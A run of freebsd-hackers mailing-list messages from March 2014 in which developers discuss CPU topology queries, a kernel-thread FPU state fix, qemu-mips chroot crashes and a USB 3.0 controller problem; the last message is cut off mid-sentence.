<20140328134431.GW21331@kib.kiev.ua> References: <20140326155429.GK21331@kib.kiev.ua> <20140327123859.GP21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SuGb6p5JEpzYJdwO" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 13:44:37 -0000 --SuGb6p5JEpzYJdwO Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Mar 28, 2014 at 09:09:40PM +0800, Jia-Shiun Li wrote: > On Thu, Mar 27, 2014 at 8:38 PM, Konstantin Belousov > wrote: > > > > From what I remember, in the multi-socket configuration Intel allows > > CPUs to only differ by stepping. Due to this, I see only one possible > > uses of executing CPUID on specific core, to get the stepping of the > > package, to either test for the presence of the specific CPU bug, or to > > select the proper microcode update. > > > > That said, I am curious why do you want this feature. >=20 > I'd like to do some CPU monitoring w/ MSR, thus need to identify CPU > topology & CPU id on specific logical ones. I am sure there are some > info from kernel, sysctl, etc. Even utilities readily available. But I > am just curious on how it works anyway. With topology and MSR access > via cpuctl, it should be able to do some monitoring from user space. For the topology, my note about multi-socket configuration holds. The advanced topology enumeration leafs must be identical on all populated sockets for given machine. --SuGb6p5JEpzYJdwO Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNXy/AAoJEJDCuSvBvK1B9aEQAIQ/4eGGvSx5B2rZNEquxxhb 3vFinBq6Z8HU5IDpafz4iLgS2Rna+9/QBZAVKefkrZHhvdldIxbELmaxj/Porp/q I4DujP8mxotcFN3w+SbbuKgdIu1LBmFsHms2MhHeLy1EHlQxCnwMgOLCzOeT9JCe fXXjjLKAphV6BWdsCxZmqjw05oQ/RabpufQ6X0a7eVRAee5coirp5Ay6KlNXhyIK CF1MJF94eoo48T/4de/U3OJ6fL37zj34oNNpZiOW2N+9O5awA8voOjfg5nsm8gZE HxSwPGXrIuHClhbWG8dcTlNXvM+6eWA985EDp0aXrecxyAR8LdFoqaLpOOh/U8+g 4bCaL/Y3iwPeHf1BIk6WuyeTw69tArY0bOkTOW5XRWQhJKlcL4LhwwO9T6JXqNIP 7ZgtUQj328HYuuFl7XUVAwfe2Ifnn00glYloImvqRJxIxMtJvxlWiBh3hCqki8Ic d3J/gXdorOG5C9WYYHfRASqUowSEWnqVheBqAxP5kZ+acDv+rwMJ350+gKVIuRYX ZHjav/Vv85YfMfTt3fEZIyUdWNprSiEUG6mFBfKtq8/atuWrSm+dcd5XsXOr3SBS 60x33saIhCyckSzoEwBGNdzfGcsSCj1LvNx95LRzlRoVxB1xng1JzKElwmx+Ec8b 1n0sA6JfzK21VlDXAcC1 =mVd8 -----END PGP SIGNATURE----- --SuGb6p5JEpzYJdwO-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 14:18:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8D004261 for ; Fri, 28 Mar 2014 14:18:34 +0000 (UTC) Received: from mail-ob0-x22e.google.com (mail-ob0-x22e.google.com [IPv6:2607:f8b0:4003:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5220F1D1 for ; Fri, 28 Mar 2014 14:18:34 +0000 (UTC) Received: by mail-ob0-f174.google.com with SMTP id wo20so5927206obc.5 for ; Fri, 28 Mar 2014 07:18:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=8MDpVogemy1skWNxxMgV6+oKS3fFHPTyozHS8JnifCk=; b=tNoPtL6sskAIT0aaUV0VF1Cw2jxJxKqN2TtcoLdHejLyQNkG30k4NmH9JAh0q72Plt sE1YuELqoZqzR/ntU6bYZR8QspYTtCdFN7PwUBJK85BqKLk8vECR/XbyoiqflcmMqNzd NK/D7fcnmD7AvaOrAYhw76zhYSCobs0ayW88GK4e0VrghrVzAIMsGETTAqU4Q7Ap5QA0 aXWeuphLM+wwZbUKvE+C9Abjd6jmt5N1Zxa1wh4TxXWnUvqS3RtjONwTpkryKbOBRaYG 8q3kRBWQ3AosRt62OFsL7lOcMMTw9M6C9HHZdrGcG0oW7s9g0zFllM7MObQ2NPVd7ce+ mqwg== MIME-Version: 1.0 X-Received: by 10.60.233.138 with SMTP id tw10mr1212045oec.56.1396016313566; Fri, 28 Mar 2014 07:18:33 -0700 (PDT) Received: by 10.76.7.199 with HTTP; Fri, 28 Mar 2014 07:18:33 -0700 (PDT) In-Reply-To: <20140328133529.GV21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> <20140328133529.GV21331@kib.kiev.ua> Date: Fri, 28 Mar 2014 10:18:33 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Konstantin Belousov Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 14:18:34 -0000 On Fri, Mar 28, 2014 at 9:35 AM, Konstantin Belousov wrote: > What is the URL ? http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-I-O-MMU-code-in-terms-of-PCI-R.patch From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 14:24:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DFE8568 for ; Fri, 28 Mar 2014 14:24:12 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BEB63284 for ; Fri, 28 Mar 2014 14:24:11 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2SEO2wF083726; Fri, 28 Mar 2014 16:24:02 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2SEO2wF083726 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2SEO2gq083725; Fri, 28 Mar 2014 16:24:02 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 28 Mar 2014 16:24:02 +0200 From: Konstantin Belousov To: Chris Torek Subject: Re: slight problem with r254457 (kthread_add fix) Message-ID: <20140328142402.GX21331@kib.kiev.ua> References: <20140327120720.GN21331@kib.kiev.ua> <201403271942.s2RJg2hQ069598@elf.torek.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="BzhqTaE66jeIVBY0" Content-Disposition: inline In-Reply-To: <201403271942.s2RJg2hQ069598@elf.torek.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 14:24:12 -0000 --BzhqTaE66jeIVBY0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 27, 2014 at 01:42:02PM -0600, Chris Torek wrote: > >I agree with the problem statement, but disagree with the proposed > >'fix'. I.e., I agree that on the creation of a new kernel thread, the > >current thread FPU grab state must not leak into the created thread. > > > >In fact, cpu_set_upcall() already almost handles this correctly, by > >resetting the pcb_save pointer back to the user save area. What is > >not done is the clearing of PCB_KERNFPU flag, which seems to be the > >issue you met. Am I right ? >=20 > Yes. I considered your fix as well but decided it required also > understanding other architectures too much. :-) (I don't know > if sparc has similar code, for instance, but it *could*; its > FPU is much like the amd64 one. You've fixed i386, but there > are more.) The kernel-FPU code only exists for x86. >=20 > >If yes, then the following patch should handle the problem, hopefully. >=20 > I'm OK with this too, as long as all architectures do it, or > something sufficiently similar. Did you tested the patch I posted, for your situation ? >=20 > (Another way to look at this is that creating a new kernel thread > requires cloning a child from somewhere, but we don't have a > particularly good "somewhere" so we clone something chosen at what > amounts to random. We then have to make this look like a "virgin > birth", untainted by any previous actions of the thing we're > cloning. >=20 > While I was hunting this problem I also looked at cpu_throw in > amd64/amd64/cpu_switch.S. It took me a long time to figure out > why it is safe to ignore the per-cpu fpcurthread there. It is, > because cpu_throw is used for only one case, the "virgin birth" > setup on each CPU. There can be no existing thread using the FPU > at that point, so this is OK.) It seems that you formulation somewhat contradictory. The cpu_throw is used only to do the last switch out of the exiting thread. And indeed, I think that there is a bug, on x86. The CR0.TS must be cleared, and fpcurthread must be reset if current cpu still carries FPU state of the curthread. At least, I do not see anything which would guarantee that CLTS was done before cpu_throw. --BzhqTaE66jeIVBY0 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNYYBAAoJEJDCuSvBvK1BQRQP/3k+mI3nybXeu5cXbe9Bm6DU tDvxt5YYJXnlgcIbK1pPTqeso40acoOzBeIFG2mGZ8oz6Oiho1asAU9ZT2cnQlsx kFEKiaTCMS12voOExBsjZGx5ygsLcexBpe+lVUpKBpj4+hpbg8BoEojCnInEh5CI Bz/IqVWLE5g6l7x4ejNYsR/Q4qQlopoLjMVHi2RqmSoVFH72DDaCyBxz1WKp2OlG daTh1redgGwN4f+QctN2Ikgt7cMfgicLw94DwI7T+f0qMajTBzSbkB2RrLuobKtB r9/Os+Gp5Br8PMyLzPdoQQOniSTCNW+6Q+Ot/C4w/fgfEfGC9Z0q0L7+gnX/ezTy 65pCPjhiRBZVl2zqyM13+1/JpNHcLJuuRqJb9aHvOGbsmoiC2WZixt/f7U1pnwxV I/RUPyllo8QH9KrhIhh29tVyeaS3/FK1ZLeFS1NCWes05jJdigGNg6fwmdbRMp4i AApAjWku2n7FOpULRtmL8KlmYQWpcrOA4EDMW2f85HeIfP1vQVeAmlmJ5cP+Jy+Z mb9hF++OGuqDIvweUWFO1hIzyf9P6kb7hw+ml6cMCHKo9MjCZC/MK6bF0GSabhwn gEHdPTtSjB2zb009dij61Y5MYRTM0hUeZ6Z5MrCMgldzaLidh50PNdFWeoST89nd yzwyHYWE3uPil8F4bkrm =K6M3 -----END PGP SIGNATURE----- --BzhqTaE66jeIVBY0-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 18:00:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E69A2AE4 for ; Fri, 28 Mar 2014 18:00:34 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C0EF8E09 for ; Fri, 28 Mar 2014 18:00:34 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 2746A1929C8 for ; Fri, 28 Mar 2014 18:00:32 +0000 (UTC) Subject: qemu-mips illegal instruction [was readelf: Error: /usr/lib/libc.a: failed to skip archive symbol table] From: Sean Bruno To: "freebsd-hackers@freebsd.org" In-Reply-To: <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-PndviJJk1F88OPligJhj" Date: Fri, 28 Mar 2014 11:00:30 -0700 Message-ID: <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 18:00:35 -0000 --=-PndviJJk1F88OPligJhj Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable > This problem seems to be caused by a endian issue in qemu-mips. Ed > Maste found the culprit and I've applied it here: >=20 > https://github.com/seanbruno/qemu/commit/05ee8495804599b52a88eb36b13ea9c0= 6b3207cd >=20 > Which is my combined tracking branch for qemu and sson's bsd-user > branch. >=20 > I'm currently tracking an "illegal instruction" on exit issue that seems > to happen on application exit causing a crash. >=20 > sean I've been tracking qemu upstream with sson's patches and massaging things here and there with the bsd-user mode qemu. https://github.com/seanbruno/qemu/tree/bsd-user That in combination with sson's kernelmod/userland tool allows me to "chroot" into a mips environment suitable for building packages. http://people.freebsd.org/~sson/imgact_binmisc/imgact_binmisc.diff Currently, if I explicitly pass a shell into the chroot command, I have no issues and all is well. e.g. chroot /mipsbuild /bin/sh If I do not explicitly pass a shell, I get an illegal instruction core dump from qemu-mips on exit from any command I run in the chroot: chroot /mipsbuild uname -a (Illegal Instruction)[coredump] This breaks poudriere right now. More or less this is my recipe: - built a mips32 world for "chroot" purposes: - use sson's binmisc ELF interceptor thing: - run binmiscctl: binmiscctl add mips32 --interpreter "/bin/qemu-mips" --magic "\x7f\x45 \x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00 \x08" --mask "\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff \xff\xff\xff\xfe\xff\xff" --size 20 --set-enabled - chroot /mipsbuild - uname -a (Illegal Instruction and coredump ON EXIT) - chroot /mipsbuild /bin/sh - uname -a (works everytime) sean --=-PndviJJk1F88OPligJhj Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTNbi+AAoJEBkJRdwI6BaHXo4H/2CZt/ot9MHTI3f47Ah3PTBL giK7x5gvJzkNHDGXrXeerN36b7e7A05LAQwWVfTCVqSXUeof0G8UoxERmvOD2Xc6 JtcAq3zwG3yMYV81kO6aoQL86d/KcjfR/IX8yzVYy38BORjt13GpiAnZ7FN8/Meg 9s7qVgDP3iS+kxnodBpOHGgmYsidB+Kl59zRafSAe0K/yTdNtF43qHudOcryRGTy vC5P7qbjPo5n52EGpShwYuxR6AkeNkwmR7rS+u2XNzNJ0guuObXimGYIQAUUREQP a0NhmHzRxf7w6FbhF/54un+GxOhHiAAafgbUab8/ikIpteypuDzhI8beDgY3SRU= =Gb/U -----END PGP SIGNATURE----- --=-PndviJJk1F88OPligJhj-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 28 19:44:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 84EE7AD5; Fri, 28 Mar 2014 19:44:44 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 57FD5AB6; Fri, 28 Mar 2014 19:44:44 +0000 (UTC) Received: from julian-mbp3.pixel8networks.com (50-196-156-133-static.hfc.comcastbusiness.net [50.196.156.133]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s2SJif6M022821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 28 Mar 2014 12:44:42 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <5335D126.7040904@freebsd.org> Date: Fri, 28 Mar 2014 12:44:38 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Chris Torek , freebsd-hackers@freebsd.org, kib@freebsd.org Subject: Re: slight problem with r254457 (kthread_add fix) References: <201403280932.s2S9W5s3073181@elf.torek.net> In-Reply-To: <201403280932.s2S9W5s3073181@elf.torek.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Mar 2014 19:44:44 -0000 On 3/28/14, 2:32 AM, Chris Torek wrote: > (Overall, I like the "make MD code clean things up" method > better. Depending on thread0 state is pretty hacky. It's > just more work to check everything.) > > (I remember when someone, I think it may have been Mike Karels, > shuffled all the members of "struct proc" around so that we could > use the bcopy-some, bzero-some method to speed up fork(). It's > a hack too, but it's a nice one, and it's still in there, in > modified form. :-) ) yes I kept that when I made the separate thread structure. both the thread and process structures do the same thing.. > > Chris > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 00:37:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25B4278F; Sat, 29 Mar 2014 00:37:23 +0000 (UTC) Received: from mail-ob0-x22d.google.com (mail-ob0-x22d.google.com [IPv6:2607:f8b0:4003:c01::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D9AB0B11; Sat, 29 Mar 2014 00:37:22 +0000 (UTC) Received: by mail-ob0-f173.google.com with SMTP id gq1so6843095obb.32 for ; Fri, 28 Mar 2014 17:37:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=a+7Eoy/Gw+tPU/vtQ8cR2xD291pfWJ0BgJdxlL/F2YA=; b=tVzm1OVaP4QLPIuvZfk7HqxMpUokiRkRH7jF2+qQBSjv0qPAb8eOZAaHd5Xdf2123j LD+RY24ZUVCfpjeVeshpbX8vkeAQz9I+We6h2VmnhpDZYUoQhJpIKiojrdhQPZcR9Ws0 e53tTGM6PZ09Oye6F1dNz66reGWofuUALM+fKq/b2ugLcthJuqOUqjJIdGCTIJM+7TIH EbRK9LNqowC2S3GA7ZDd9qWa5hUlH2w8wbn+uxhenqYrdB8lSuoYfsqctmgrUc3DbT/k U6qWPSisyi5hUKafN59copcWAT1XKxtc6yxZUNMHmNFtDYL7eNLQD02cHc+AIOwH0we+ lJDw== MIME-Version: 1.0 X-Received: by 10.60.159.137 with SMTP id xc9mr9267433oeb.31.1396053442145; Fri, 28 Mar 2014 17:37:22 -0700 (PDT) Received: by 10.76.152.197 with HTTP; Fri, 28 Mar 2014 17:37:22 -0700 (PDT) Date: Sat, 29 Mar 2014 04:37:22 +0400 Message-ID: Subject: [xhci] USB 3.0 not working, bug or feature usb/179342? From: Andrey Fesenko To: freebsd-current , "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 00:37:23 -0000 # uname -a FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263711: Tue Mar 25 15:49:11 MSK 2014 root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 usbconfig list | grep "5.0Gbps" ugen0.1: at usbus0, cfg=0 md=HOST spd=SUPER (5.0Gbps) pwr=SAVE (0mA) and USB3 flash drive ugen2.4: at usbus2, cfg=0 md=HOST spd=HIGH (480Mbps) pwr=ON (498mA) full list http://pastie.org/8963116 dmesg debug mode xhci0: Intel Lynx Point USB 3.0 controller mem 0xf0420000-0xf042ffff irq 16 at device 20.0 on pci0 xhci0: attempting to allocate 1 MSI vectors (8 supported) msi: routing MSI IRQ 265 to local APIC 0 vector 60 xhci0: using IRQ 265 for MSI xhci0: MSI enabled xhci0: 32 byte context size. xhci0: Port routing mask set to 0xffffffff usbus0 on xhci0 xhci0: usbpf: Attached ... uhub0: 21 ports with 21 removable, self powered Root mount waiting for: usbus0 xhci0: Port routing mask set to 0x00000000 usb_alloc_device: device init 2 failed (USB_ERR_IOERROR, ignored) ugen0.2: Unknown at usbus0 (disconnected) uhub_reattach_port: could not allocate new device From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 01:36:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3BEFF710 for ; Sat, 29 Mar 2014 01:36:34 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0A68AFF0 for ; Sat, 29 Mar 2014 01:36:33 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s2T1aVT6078723; Fri, 28 Mar 2014 19:36:31 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201403290136.s2T1aVT6078723@elf.torek.net> From: Chris Torek To: Konstantin Belousov Subject: Re: slight problem with r254457 (kthread_add fix) In-reply-to: Your message of "Fri, 28 Mar 2014 16:24:02 +0200." <20140328142402.GX21331@kib.kiev.ua> Date: Fri, 28 Mar 2014 19:36:31 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Fri, 28 Mar 2014 19:36:32 -0600 (MDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 01:36:34 -0000 >The kernel-FPU code only exists for x86. I'm a bit surprised kernel-mode FPU is not supported on sparc64, but that does seem to be the case. (Surprising since there *is* code to use the VIS block-copy instructions, which use the FPU registers. This seems to be handled as a *very* special case though: it is called only through cpu_block_copy, and only for pmap_copy_page, which cannot be re-entered. So it's OK, if suboptimal. Using the VIS block-copy for other large copies should be a performance win, but this requires the ability to re-enter the routine.) Anyway, I'm mostly just saying that I can't check the remaining architectures as I don't know them well enough to tell. If you do, all is well there. :-) >Did you tested the patch I posted, for your situation ? It took a while to get back to, but yes, it works fine. [On cpu_throw:] >It seems that you formulation somewhat contradictory. The cpu_throw >is used only to do the last switch out of the exiting thread. Ah, I was thinking of the code paths that get there by calling sched_throw() with NULL, in the various mp_machdep.c files. You're looking at the one other code path that reaches sched_throw() (with a non-NULL argument), in thread_exit(): >And indeed, I think that there is a bug, on x86. The CR0.TS must be >cleared, and fpcurthread must be reset if current cpu still carries >FPU state of the curthread. At least, I do not see anything which >would guarantee that CLTS was done before cpu_throw. It turns out this is OK because of this: cpu_thread_exit(td); /* XXXSMP */ cpu_thread_exit() does an fpudrop if needed. (I don't think this is a particularly clean design, but it does work.) Chris From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 12:03:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB3954F2 for ; Sat, 29 Mar 2014 12:03:48 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7244F9C9 for ; Sat, 29 Mar 2014 12:03:48 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2TC3exl097294; Sat, 29 Mar 2014 14:03:40 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2TC3exl097294 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2TC3e6J097293; Sat, 29 Mar 2014 14:03:40 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 29 Mar 2014 14:03:40 +0200 From: Konstantin Belousov To: Chris Torek Subject: Re: slight problem with r254457 (kthread_add fix) Message-ID: <20140329120340.GC21331@kib.kiev.ua> References: <20140328142402.GX21331@kib.kiev.ua> <201403290136.s2T1aVT6078723@elf.torek.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="U/fatWn3w9i48dtV" Content-Disposition: inline In-Reply-To: <201403290136.s2T1aVT6078723@elf.torek.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 12:03:49 -0000 --U/fatWn3w9i48dtV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Mar 28, 2014 at 07:36:31PM -0600, Chris Torek wrote: > >The kernel-FPU code only exists for x86. >=20 > I'm a bit surprised kernel-mode FPU is not supported on sparc64, > but that does seem to be the case. (Surprising since there *is* > code to use the VIS block-copy instructions, which use the FPU > registers. This seems to be handled as a *very* special case > though: it is called only through cpu_block_copy, and only for > pmap_copy_page, which cannot be re-entered. So it's OK, if > suboptimal. Using the VIS block-copy for other large copies > should be a performance win, but this requires the ability to > re-enter the routine.) >=20 > Anyway, I'm mostly just saying that I can't check the remaining > architectures as I don't know them well enough to tell. If you > do, all is well there. :-) I am sure that only x86 is supported by the KPI, since I only implemented it for x86, and nobody followed up with support for other architectures. x86 also had the 'fast' copy functions which used FPU register file, but they were not fast, and their use also required saving usermode state and disabling interrupts for long time. So I removed that code. >=20 > >Did you tested the patch I posted, for your situation ? >=20 > It took a while to get back 